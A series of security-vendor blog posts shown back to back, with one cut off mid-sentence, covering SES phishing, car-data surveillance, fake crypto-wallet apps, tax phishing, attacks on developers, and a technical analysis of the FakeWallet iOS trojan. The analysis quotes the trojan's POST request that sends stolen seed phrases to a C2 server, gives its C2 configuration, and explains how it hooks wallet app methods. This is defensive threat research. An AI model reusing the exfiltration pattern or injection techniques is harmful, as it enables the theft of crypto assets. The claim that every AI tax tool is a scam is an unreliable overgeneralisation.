Phishing via Amazon SES experienced an uptick in January 2026 and has remained relatively steady through Q1. By weaponizing this service, attackers avoid the effort of building dubious domains and mail infrastructure from scratch. Instead, they hijack existing access keys to gain the ability to blast out thousands of phishing emails. These messages pass email authentication, originate from IP addresses that are unlikely to be blocklisted, and contain links to phishing forms that look entirely legitimate.

Since these Amazon SES phishing attacks stem from compromised or leaked AWS credentials, prioritizing the security of these accounts is critical. To mitigate these risks, we recommend following these guidelines:

• Implement the principle of least privilege when configuring IAM access keys, granting elevated permissions only to users who require them for specific tasks.
• Transition from IAM access keys to roles when configuring AWS; these are profiles with specific permissions that can be assigned to one or several users.
• Enable multi-factor authentication, an ever-relevant step.
• Configure IP-based access restrictions.
• Set up automated key rotation and run regular security audits.
• Use the AWS Key Management Service to encrypt data with unique cryptographic keys and manage them from a centralized location.

We recommend that users remain vigilant when handling email. Do not determine whether an email is safe based solely on the From field. If you receive unexpected documents via email, a prudent precaution is to verify the request with the sender through a different communication channel. Always carefully inspect where links in the body of an email actually lead. Additionally, robust email security solutions can provide an essential layer of protection for both corporate and personal correspondence.

It’s best to think of the modern car as a computer on wheels — one that constantly offloads diagnostic data to the manufacturer or dealer’s servers. On board, you’ll find dozens of sensors: everything from GPS, speedometers, and hands-free microphones, to external cameras and the less obvious (but highly active) sensors for pedal pressure, tire pressure, engine temperature, and more. Even if this data isn’t beamed to the manufacturer in real-time, it’s logged in the car’s internal memory, and can reveal a wealth of information about a driver’s trips, habits, and surroundings. We’ve already taken a deep dive into how automakers collect data for commercial use, and who they sell it to (spoiler alert: insurance companies are the biggest buyers of telemetry), but today we’re looking at how law enforcement and intelligence agencies tap into this goldmine.

Digital evidence

Police departments across the globe have recognized the immense value of data stored within vehicles. If a car or its owner is potentially linked to a crime, investigators do more than just check for prints or DNA. Car Intelligence (CARINT) technology allows them to essentially scour all onboard computers, extracting data such as:

• GPS-based trip history
• Call logs, media player activity, and voice commands
• Lists of paired devices and synced contact lists
• Driving statistics: mileage, engine performance modes, and other technical parameters

There are numerous precedents where this data has served as evidence and dismantled alibis. In one U.S. criminal case, a recorded voice command became a smoking gun, proving the suspect was behind the wheel of a stolen vehicle.

With the rise of connected cars equipped with their own SIM cards and direct links to the manufacturer, law enforcement no longer needs physical access to the vehicle. Key data, such as GPS location history, can be pulled directly from the manufacturer’s servers. Furthermore, a U.S. Senate investigation revealed that nine out of 14 surveyed automakers were providing this data without a warrant.

Major suppliers of car intelligence software, such as Ateros, Berla, TA9/Rayzone, and Toka, sell their solutions exclusively to government and law enforcement agencies, which is why they’ve remained largely out of the public eye.

Comprehensive surveillance

To track persons of interest, data pulled from the vehicle itself is cross-referenced with information from other sources. According to media leaks, flagship products in this category aggregate data from the car’s SIM card, Bluetooth communication trails, street-level CCTV footage, and commercially available information from data brokers. This hybrid dataset simplifies the comprehensive mapping of a target’s movements and contacts. Journalists have discovered that some companies even market the ability to activate a vehicle’s microphones and cameras remotely and covertly, enabling real-time eavesdropping on conversations. However, experts note that due to the diversity of technical implementations across different systems, hacking the car itself remains a difficult task with no sure way of succeeding. Often, it’s simpler to correlate other, more accessible datasets to achieve the same result.

Factory-installed spy tools

Features like covert activation of cameras, microphones, and other sensors may theoretically be part of a vehicle’s stock functionality rather than the result of a hack. While we haven’t found any public evidence of such cases, it’s well known that Chinese-made vehicles are coming under increased scrutiny in several countries. For instance, they’ve been banned from Israeli military sites — with the exception of a single Chery model, provided its multimedia system is removed. Similar bans exist in the UK and Poland; furthermore, UK Ministry of Defense employees are instructed not to connect their work phones to Chinese-made cars. In Germany, security analyses of Chinese vehicles were conducted by the specialized agencies BfV and ZITiS, but the findings remain classified.

Low-cost surveillance

Tracking a vehicle — or even thousands of them — doesn’t necessarily require hacking onboard systems or tapping into vast networks of license plate readers. A recent scientific study demonstrated that innocent tire pressure monitoring systems (TPMS) provide enough data for effective tracking. Data from these sensors is transmitted via radio without any encryption and includes a unique ID that makes identifying a specific car easy. This allows for more than just confirming the vehicle’s movement; it can even be used to estimate the driver’s weight or determine if they are traveling alone. While this might not sound as impressive as remotely accessing a car’s cameras, it requires very little financial investment and works even on relatively old vehicles without an internet connection.

What you can do about vehicle tracking

While tracking a person through their car is undoubtedly a privacy risk, striking a balance in mitigating this threat is difficult: many measures are complex, largely ineffective, and simultaneously reduce the utility, safety, and convenience of a modern vehicle. Consequently, any steps taken should be weighed against your personal risk profile.

To reduce the risk of data leaks, check the privacy settings in the manufacturer’s app, the car’s infotainment system, and your connected smartphone. A connected car can transmit data about its operation to the cloud: information about trips, location, driving style, vehicle condition, and the operation of its components. Some of this data is necessary for navigation, diagnostics, and service, but not all permissions are required — check your settings and disable the transmission of data not related to the functions you need.

Be careful with permissions for access to the microphone, camera, contacts, messages, and geolocation. Only connect your own devices to the car and don’t save other people’s phones or unfamiliar Bluetooth devices in the system. When syncing your smartphone, select only the features you need — such as calls, music, and navigation — rather than granting full access to all your phone’s data.

Do not use the services of technicians who offer to “unlock” your car, reflash electronic control units, or install unofficial software to expand features, increase power, or otherwise interfere with the car’s operation. Such software has not been tested by the manufacturer: it may behave unpredictably, collect and transmit your data to malicious actors, disable security features, or affect critical vehicle systems — including steering, braking, or engine operation.

And when choosing a new car, ask the dealer not only about the number of stars in NCAP safety tests, engine power, or fuel economy, but also about the cybersecurity technologies used in the vehicle. Solutions such as the Kaspersky Automotive Secure Gateway, based on KasperskyOS, will provide the necessary protection for new cars against cyberthreats.

What other threats do connected cars hide? Read more in our posts:

• Highway to… hacked: cyberthreats to connected cars
• Car hacking via Bluetooth
• Botnets on wheels: the mass hacking of dashcams
• How millions of Kia cars could be tracked
• I know how you drove last summer
• Spies on wheels: how carmakers collect and then resell information

Even if you keep your crypto assets in a cold wallet and use Apple devices — which enjoy a strong reputation for security — cybercriminals may still find a way to swipe your funds. These bad actors are combining well-known tricks into new attack chains — including baiting victims right inside the App Store.

Crypto-wallet clones

This past March, we discovered phishing apps at the top of the Chinese App Store charts with icons and names mimicking popular crypto-wallet management tools. Because regional restrictions block several official wallet apps from the Chinese App Store, attackers have stepped in to fill the void. They created fake apps using icons similar to the originals and names with intentional typos — likely to bypass App Store moderation and deceive users.

Beyond these, we found a number of apps with names and icons that had nothing to do with cryptocurrency. However, their promotional banners claimed they could be used to download and install official wallet apps that are otherwise unavailable in the regional App Store.

In total, we identified 26 phishing apps mimicking the following popular wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

A few other very similar apps didn’t contain phishing functionality yet, but all signs point to them being linked to the same attackers. It’s likely they plan to add malicious features in future updates.

To get these apps cleared for the App Store, the developers added basic functionality, such as a game, a calculator, or a task planner.

Installing any of these clones is the first step toward losing your crypto assets. While the apps themselves don’t steal cryptocurrency, seed phrases, or passwords, they serve as bait that builds user trust by virtue of being listed on the official App Store. Once installed and launched, however, the app opens a phishing site in the victim’s browser, designed to look like the App Store, which then prompts the user to install a compromised version of the relevant crypto wallet. The attackers have created multiple versions of these malicious modules, each tailored to a specific wallet. You can find a detailed technical breakdown of this attack in our Securelist post.

A victim who falls for the ruse is first prompted to install a provisioning profile, which allows apps to be sideloaded onto an iPhone outside the App Store. The profile is then used to install the malicious app itself.

In the example above, the malware is built on the original Ledger app with integrated Trojan functionality. The app looks identical to the original, but when connected to a hardware wallet, it displays a window requiring a seed phrase, supposedly to restore access. This is not standard procedure: typically, you only need to enter a PIN — never a recovery phrase. If a victim is deceived by the app’s apparent legitimacy and enters their seed phrase, it’s immediately sent to the attackers’ server — granting them full access to the victim’s crypto assets.

Sideloading outside the App Store

A critical component of this scheme involves installing malware on the victim’s iPhone by bypassing the App Store and its verification process. This is executed much like the SparkKitty iOS infostealer we discovered previously. The attackers managed to gain access to the Apple Developer Enterprise Program. For just US$299 a year — and following an interview and corporate verification — this program allows entities to issue their own configuration profiles and apps for direct download to user devices without ever publishing them in the App Store.

 

In general, enterprise profiles are designed to allow organizations to deploy internal apps to employees’ devices. These apps don’t require App Store publication and can be installed on an unlimited number of devices. Unfortunately, this feature is often abused. These profiles are frequently used for software that fails to meet Apple’s policies, such as online casinos, pirated mods, and, of course, malware.

This is precisely why the fake site mimicking the Apple Store prompts the user to install a configuration profile before delivering the app signed by that profile.

Stealing cryptocurrency via macOS apps and extensions

Many crypto owners prefer managing their wallets on a computer rather than a smartphone — often choosing Macs for the task. It’s no surprise, then, that most popular macOS infostealers target crypto-wallet data in one way or another. Recently, however, a new malicious tactic has been gaining traction: in addition to stealing saved data, attackers are embedding phishing dialogs directly into legitimate wallet applications already installed on users’ computers. Earlier this year, the MacSync infostealer adopted this functionality. It infiltrates systems via ClickFix attacks: users searching for software are lured to fake sites with fraudulent instructions to install the app by running commands in Terminal. This executes the infostealer, which scrapes passwords and cookies saved in Chrome, chats from popular messengers, and data from browser-based crypto-wallet extensions.

But the most interesting part is what happens next. If the victim already has a legitimate Trezor or Ledger app installed, the infostealer downloads additional modules and… swaps out fragments of the app with its own trojanized code. The malware then re-signs the modified file so that after these “fixes” are made, Gatekeeper (a built-in protection mechanism in macOS) allows the application to run without an additional permission request from the user. While this trick doesn’t always work, it’s effective for simpler apps built on the popular Electron framework.

When the trojanized app is opened, it fakes an error and initiates a “recovery process”, prompting the user for their wallet seed phrase.

Besides MacSync, the developers behind other popular macOS infostealers have adopted this same trojanization approach. We previously detailed a similar mechanism used to compromise Exodus and Bitcoin-Qt wallets.

How to keep your crypto assets safe

Time and again, attackers have proved that no gadget is truly invincible. With so many developers and cryptocurrency users preferring macOS and iOS, threat actors have designed and deployed industrial-scale attacks for both platforms. Staying safe requires in-depth defense backed by skepticism and vigilance.

• Download apps only from trusted sources: either the developer’s official website or their App Store page. Since malware can slip even into official stores, always verify the app’s publisher.
• Check the app’s rating, publication date, and download counter.
• Read the reviews — especially the negative ones. Sort reviews by date to evaluate the latest version. Attackers often start with a perfectly innocent app that earns high ratings before introducing malicious functionality in a later update.
• Never copy and paste commands into your Terminal unless you’re 100% certain what they do. These attacks have become very popular lately, often disguised as installation steps for AI apps like Claude Code or OpenClaw.
• Use a comprehensive security system on all your computers and smartphones. We recommend Kaspersky Premium. This goes a long way to mitigate the risk of visiting phishing sites or installing malicious apps.
• Never enter your seed phrase into a hardware wallet app, on a website, or in a chat. In every scenario, whether migrating to a new wallet, reinstalling apps, or recovering a wallet, the seed phrase should be entered exclusively on the hardware device itself — never in a mobile or desktop app.
• Always verify the recipient’s address on the hardware wallet’s screen to prevent attacks involving address swapping.
• Store your seed phrases in the most secure way possible, such as on a metal plate or in a sealed envelope in a safe deposit box. It’s best not to store them on a computer at all, but if that’s your only option, use a secure, encrypted vault like Kaspersky Password Manager.

Still believe that Apple devices are bulletproof? Think again as you read the following:

• The iPhone — invincible no more: a look at DarkSword and Coruna
• Predator vs. iPhone: the art of invisible surveillance
• Are your Bluetooth headphones spying on you?
• AirBorne: Attacks on Apple devices through vulnerabilities in AirPlay
• Banshee: A stealer targeting macOS users

Unit 42 analyzes npm supply chain evolution post-Shai Hulud. Discover wormable malware, CI/CD persistence, multi-stage attacks and more.

The post The npm Threat Landscape: Attack Surface and Mitigations (Updated July 15) appeared first on Unit 42.

In many countries, spring is the traditional time for filing income tax returns. These documents are a goldmine for bad actors because they contain a wealth of personal data, such as employment history, income, assets, bank account details — the list goes on. It’s no surprise that scammers ramp up their efforts around this time; the internet is currently crawling with fake websites designed to look exactly like government resources and tax authorities.

With deadlines looming and numbers to crunch, the rush to get everything done in good time can cause people to let their guard down. In the shuffle, it’s easy to miss the signs that the site where you’re detailing your finances has zero connection to the revenue service, or that the file you just downloaded, supposedly from a tax inspector, is actually malware.

In this post, we break down how these fraudulent tax agency sites operate across different countries and what you should absolutely avoid doing to keep your money and sensitive information safe.

Taxpayer phishing

This season, attackers have been spoofing tax authority websites across numerous countries, including the official government portals of Germany, France, Austria, Switzerland, Brazil, Chile, and Colombia. On these fraudulent sites, scammers harvest credentials for legitimate services, and steal personal data before offering to process a tax deduction — provided the victim enters their credit card details. In some cases, they even charge a fee for this fraudulent service.

Sometimes, the tactic involves accusations issued on behalf of government bodies. In the image below, for example, a “head of tax audit” in Paris informs the victim that they provided incomplete income information. To avoid penalties, the user is told to download a document and make corrections immediately. However, the PDF file hides something much worse: malware.

In Colombia, a fake National Directorate of Taxes and Customs site similarly prompts users to download documents that must be “unlocked with a security key”. In reality, this is simply a password-protected, malicious ZIP archive.

Beyond phishing sites mimicking legitimate resources, our experts have discovered fraudulent websites promising paid services for filling out and auditing tax documents — and stealing high-value data, such as taxpayer identification numbers (TINs), instead.

Tax-free crypto earnings

Cryptocurrency holders have emerged as a specific target for attackers. Fake German tax authorities are demanding that wallet owners “verify their digital asset holdings”, citing EU regulations for tax calculation purposes. And of course, there’s a “silver lining”: it turns out crypto earnings are supposedly tax-exempt! However, to claim this generous benefit, users must go through a “verification” procedure. The site even promises to encrypt data using a “2048-bit SSL protocol”.

To complete the “verification” process, users are prompted to enter their seed phrase — the unique sequence of words tied to a crypto wallet that grants full recovery access. This request is paired with a threat: refusing to provide the data will lead to serious legal consequences, such as fines up to one million euros or criminal prosecution.

Attackers pulled a similar stunt on French users as well. They created a non-existent “Crypto Tax Compliance Portal”, which mimics the design of the French Ministry of Economy and Finance website. The phishing site aggressively demands that French residents submit a “digital asset declaration”.

After the user enters their personal information, the scammers prompt them to either manually enter their seed phrase, or “link” their crypto wallet to the portal. If they go through with this, their MetaMask, Binance, Coinbase, Trust Wallet, or WalletConnect wallets will be drained.

Can AI help with your tax returns?

When you have AI at your fingertips that can instantly generate text and fill out spreadsheets, there’s a serious temptation to delegate everything to it. Unfortunately, this can lead to serious consequences. First, all popular chatbots process your data on their servers, which puts your sensitive information at risk of a leak. Second, they sometimes make incredibly foolish mistakes, and that can lead to actual trouble with the taxman.

Before you tell a chatbot or an AI agent how much money you made last year — complete with detailed personal and banking info — remember how frequently leaks occur within AI-powered services and consider the risks. Don’t discuss your income with AI, don’t give it personal details like your name or address, and under no circumstances should you upload photos or numbers of vital documents such as passports, insurance info, or social security numbers. Files containing confidential information should be kept in encrypted containers, such as Kaspersky Password Manager.

If you’re still determined to use AI tools, run them locally. This can be done for free even on a standard laptop, and we’ve previously covered how to set up local language models using DeepSeek as an example. However, the quality of the output from these models is often subpar. It’s quite possible that double-checking every digit in an AI-generated response will take more time than just filling out the paperwork manually. Remember, you’re the one accountable to the tax office for any errors — not the AI.

Finally, watch out for phishing AI models that offer “assistance” with tax filing. Kaspersky experts have discovered websites where users are prompted to upload tax invoices, supposedly for the automated generation of returns and deduction claims. Instead, attackers collect this personal data to resell on the dark web, or to use in future phishing attacks, blackmail, and extortion schemes.

Remember that all legitimate AI services explicitly warn users not to share confidential data, and tax documents certainly fall into this category. Any AI tools promising to help you handle your tax paperwork are quite simply a scam.

How to protect yourself and your data

• File your taxes yourself. The risk of running into scammers is extremely high. Even if a consulting firm is legitimate, you’re inevitably handing over a complete dossier on yourself: passport details, employment and income info, your address, and more. Remember that even the most honest services aren’t immune to hacks and data breaches.
• Watch out for fake websites. Use a reliable security solution that prevents you from visiting phishing sites and blocks malicious file downloads.
• Keep all important documents encrypted. Storing photos, notes, or files on your desktop, or starred messages in a messaging app isn’t a secure way to handle sensitive data. A secure vault like Kaspersky Password Manager can store more than just passwords and credit card info; it can also safeguard documents and even photos.
• Don’t trust AI. Even the most advanced chatbots are prone to errors and hallucinations, and in theory, developers can read any conversation you have with their AI. If you absolutely must use AI, install and run a local version on your own computer.
• Stick to official channels only. The “chief tax inspector” of your country or city is definitely not going to message you: high-ranking officials have more important things to do. Only contact tax authorities through official channels, and carefully verify the sender of any emails you receive. Most often, even a slight deviation in the name or address is a telltale sign of a phishing campaign.

Further reading on phishing and data security:

• Phishing and spam: the wildest campaigns of 2025
• How phishers and scammers use AI
• What happens to data stolen using phishing?
• How to disappear from the internet
• Why data brokers build dossiers on you, and how to stop them doing so

Lately, hackers have been turning up the heat on software developers. On the surface, this might seem like a puzzling move — why go after someone who’s literally paid to understand tech when there are plenty of less-savvy targets in the office? As it turns out, compromising a developer’s machine offers a much bigger payoff for an attacker.

Why developers are such high-value targets

For starters, compromising a coder’s workstation can give attackers a direct line to source code, credentials, authentication tokens, or even the entire development infrastructure. If the company builds software for others, a hijacked dev environment allows attackers to launch a massive supply chain attack, using the company’s products to infect its customer base. If the developer works on internal services, their machine becomes a perfect beachhead for lateral movement, allowing hackers to spread deeper into the corporate network.

Even when attackers are purely chasing cryptocurrency (and let’s face it, tech pros are much more likely to hold crypto than the average person), the malware used in these hits doesn’t just swap out wallet addresses; it vacuums up every scrap of valuable data it can find — especially those login credentials and session tokens. Even if the original attackers don’t care about corporate access, they can easily flip those credentials to initial access brokers or more specialized threat actors on the dark web.

Why developers are sitting ducks

In practice, developers aren’t nearly as good at understanding cyberthreats and spotting social engineering as they think they are. This misconception is a big reason why they often fall prey to cybercriminals. Professional expertise can often create a false sense of digital invincibility. This often leads technical professionals to cut corners on security protocols, bypass restrictions set by the security team, or even disable security software on their corporate machines when it gets in the way of their workflow. That mindset, combined with a job that requires them to constantly download and run third-party code, makes them sitting ducks for cyberattackers.

Attack vectors targeting developers

Once an attacker sets their sights on a software engineer, their go-to move is usually finding a way to slip malicious code onto the machine. But that’s just the tip of the iceberg — hackers are also masters at rebranding classic, battle-tested tactics.

Compromising open-source packages

One of the most common ways to hit a developer is by poisoning open-source software. We’ve seen a flood of these attacks over the past year. A prime example hit in March 2026, when attackers managed to inject malicious code into LiteLLM, a popular Python library hosted in the PyPI repository. Because this library acts as a versatile gateway for connecting various AI agents, it’s baked into a massive number of projects. These trojanized versions of LiteLLM delivered scripts designed to hunt for credentials across the victim’s system. Once stolen, that data serves as a skeleton key for attackers to infiltrate any company that was unlucky enough to download the infected packages.

Malware hidden in technical assignments

Every so often, attackers post enticing job openings for developers, complete with take-home test assignments that are laced with malicious code. For instance, in late February 2026, malicious actors pushed out web application projects built on Next.js via several malicious repositories, framing them as coding tests. Once a developer cloned the repo and fired up the project locally, a script would trigger automatically to download and install a backdoor. The attackers gained full remote access to the developer’s machine.

Fake development tools

Recently, our experts described an attack where hackers used paid search-engine ads to push malware disguised as popular AI tools. One of the primary baits was Claude Code, an AI coding assistant. This campaign specifically targeted developers looking for a way to use AI-assistants under the radar, without getting the green light from their company’s infosec team. The ads directed users to a malicious site that perfectly mimicked the official Claude Code documentation. It even included “installation instructions”, which prompted the user to copy and run a command. In reality, running that command installed an infostealer that harvested credentials and shuttled them off to a remote server.

Social engineering tactics

That said, attackers often stick to the basics when trying to plant malware. A recent investigation into a compromised npm package — Axios — revealed that hackers had gained access to a maintainer’s system using a shockingly simple “outdated software” ruse. The attackers reached out to the Axios repository maintainer while posing as the founder of a well-known company. After some back-and-forth, they invited him to a video interview. When the developer tried to join the meeting on what looked like Microsoft Teams, he hit a fake notification claiming his software was out of date and needed an immediate update. That “update” was actually a Remote Access Trojan, giving the attackers access to his machine.

Niche spam

Sometimes, even a blast of fake notifications does the trick, especially when it’s tailored to the audience. For example, just recently, attackers were caught posting fake alerts in the Discussions tabs of various GitHub projects, claiming there was a critical vulnerability in Visual Studio Code that required an immediate update. Because developers subscribed to those discussions received these alerts directly via email, the notifications looked like legitimate security warnings. Of course, the link in the message didn’t lead to an official patch; it pointed to a “fixed” version of VS Code that was actually laced with malware.

How to safeguard an organization

To minimize the risk of a breach, companies should lean into the following best practices:

• Make security a native part of your workflow. Use specialized solutions to vet your images, packages, dependencies, and components.
• Use threat intelligence feeds specifically focused on open-source components to check the packages used in software development.
• Make sure security awareness training covers everyone — including developers. Leverage specialized solutions like Kaspersky Automated Security Awareness Platform.
• Make sure developers are aware of the latest attack patterns — you can keep them in the loop by following the Development tag right here on this

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background

This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic.  The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

Malicious modules for hot wallets

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

• The extracted mnemonics are stringed together.
• This string is encrypted using RSA with the PKCS #1 scheme.
• The encrypted data is then encoded into Base64.
• Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:

POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger

The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

• Resolve symbols dataInit or processX0Parameter from the malicious library
• Hand over control to these newly discovered functions
• Execute the code for the original methods that the wrapper was built to replace

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module

The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points:  two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

• The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
  

  {
  	"url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
  	"code": "10001",                                         // special code	"login-url": "hxxps://xxx[.]com",                                              
  	"login-code": "88761"                                                               
  }

• Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
• As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
  • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
  • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.
• Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

• MnemonicVerifyScreen, embedded in PortfolioNavigator
• PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

• verify-wallet-status.json tracks the current status and the timestamp of the last update.
• verify-wallet-config.json stores the C2 server configuration the malware is currently using.
• verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Other distribution channels, platforms, and the SparkKitty link

During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims

Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution

According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

• Some infected apps contained SparkKitty modules alongside the FakeWallet code.
• The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
• Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
• Both campaigns specifically target victims’ cryptocurrency assets.

Conclusion

Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

